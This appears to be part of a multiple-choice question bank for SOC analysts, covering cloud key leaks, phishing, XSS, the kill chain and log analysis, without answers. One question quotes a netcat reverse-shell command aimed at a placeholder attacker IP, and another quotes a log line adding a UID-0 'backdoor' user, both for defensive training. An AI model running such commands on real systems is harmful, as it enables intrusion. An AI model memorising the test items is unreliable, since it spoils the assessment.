17. A developer accidentally uploads an AWS Access Key to a public GitHub repository. Within minutes, unauthorized instances are created in the account. Which "Cloud Security" risk was exploited?
18. You are performing "Threat Hunting." Instead of waiting for an alert, you search through your logs for any rare "User-Agent" strings in web traffic. This is an example of:
19. An attacker sends an email to the CFO that looks exactly like a legitimate invoice from a known vendor, but the bank account details have been changed. What is this specific attack called?
20. During an investigation, you need to prove that a disk image hasn't been tampered with since it was collected. What do you use to verify its integrity?
21. You see a series of "403 Forbidden" errors in your web logs followed by a "200 OK" from the same IP. This pattern most likely indicates:
22. An EDR tool flags a "Living off the Land" technique. This means the attacker is:
23. Which "Cyber Kill Chain" stage is an attacker in when they are bundling a Trojan into a legitimate-looking software installer?
24. A SOC manager asks for the "False Positive Rate" of a new detection rule. Why is this metric important?
25. You are analyzing a file in a "Sandbox." The file appears benign for 10 minutes and then suddenly starts encrypting files. This is an example of:
26. You need to capture all traffic on a specific network segment without interrupting the flow of data. You decide to use a hardware device that physically sits between two devices. What is this called?
27. A web application is vulnerable to an attack where the attacker can execute scripts in the browsers of other users who visit the site. What is this?
28. You are looking at a CVSS score where "Exploit Code Maturity" is "Functional." This is part of which metric group?
29. A user reports a suspicious email. You check the headers and see that the "Return-Path" doesn't match the "From" address, and the SPF check failed. What is the most likely verdict?
30. In the "Diamond Model," if you are tracking the specific IP addresses and Domain Names an attacker uses, which node are you focused on?
31. You are analyzing an IPv4 packet header. You see the "Protocol" field is set to 6. Which transport layer protocol is being used?
32. An analyst uses a "Sliding Window Anomaly Detection" tool. It alerts because a user who typically uploads 5MB of data a day just uploaded 10GB. What is the most likely concern?
33. You find a "Reverse Shell" connection on a Linux server. The attacker used a command like nc -e /bin/sh [Attacker_IP] [Port]. Which "Kill Chain" stage does this represent?
34. A company implements "Application Whitelisting" on all workstations. A user tries to run an unapproved game they brought on a USB, but it fails to launch. Which security principle is this enforcing?
35. You are performing a "Full Packet Capture" analysis. You see an ICMP "Destination Unreachable" message. What does this usually tell a SOC analyst?
36. An attacker uses a "Deepfake" audio clip of the CEO to authorize an urgent wire transfer over the phone. Which technology did the attacker weaponize?
37. You see a Linux log entry: useradd: new user: name=backdoor, UID=0. Why is this extremely alarming?
38. Which type of data would tell you the duration of a specific web session but not the content of the pages visited?

42. In a "Public Key Infrastructure" (PKI) environment, a "Certificate Revocation List" (CRL) is used to:
43. Which "Access Control Model" would you use if you want to grant access based on a combination of "User Department," "Time of Day," and "Device Compliance"?
